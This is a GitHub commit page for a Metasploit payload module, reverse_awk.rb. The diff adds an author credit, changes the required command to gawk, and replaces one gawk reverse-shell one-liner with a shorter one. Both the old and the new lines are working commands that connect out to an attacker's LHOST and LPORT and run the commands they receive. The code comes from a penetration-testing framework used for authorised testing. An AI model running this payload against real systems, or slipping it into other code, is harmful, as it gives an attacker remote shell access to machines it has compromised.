Skip to content

Commit 3424316

Browse files
committed
Some changes with improvements.
1 parent d4a864c commit 3424316

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/payloads/singles/cmd/unix/reverse_awk.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -22,15 +22,16 @@ def initialize(info = {})
2222
'Author' =>
2323
[
2424
'espreto <robertoespreto[at]gmail.com>',
25-
'Ulisses Castro <uss.thebug[at]gmail.com>'
25+
'Ulisses Castro <uss.thebug[at]gmail.com>',
26+
'Gabriel Quadros <gquadrossilva[at]gmail.com>'
2627
],
2728
'License' => MSF_LICENSE,
2829
'Platform' => 'unix',
2930
'Arch' => ARCH_CMD,
3031
'Handler' => Msf::Handler::ReverseTcp,
3132
'Session' => Msf::Sessions::CommandShell,
3233
'PayloadType' => 'cmd',
33-
'RequiredCmd' => 'awk',
34+
'RequiredCmd' => 'gawk',
3435
'Payload' =>
3536
{
3637
'Offsets' => { },
@@ -50,7 +51,7 @@ def generate
5051
# Returns the command string to use for execution
5152
#
5253
def command_string
53-
"awk 'BEGIN{s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";while(1){printf \"shell> \"|& s;s|&getline c;if(c){while((c|& getline)>0){print $0|& s}close(c);}}}'"
54+
"awk 'BEGIN{for(s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";s|&getline c;close(c)){while(c|& getline)print $0|& s}}'"
5455
end
5556

5657
end

0 commit comments

Comments
 (0)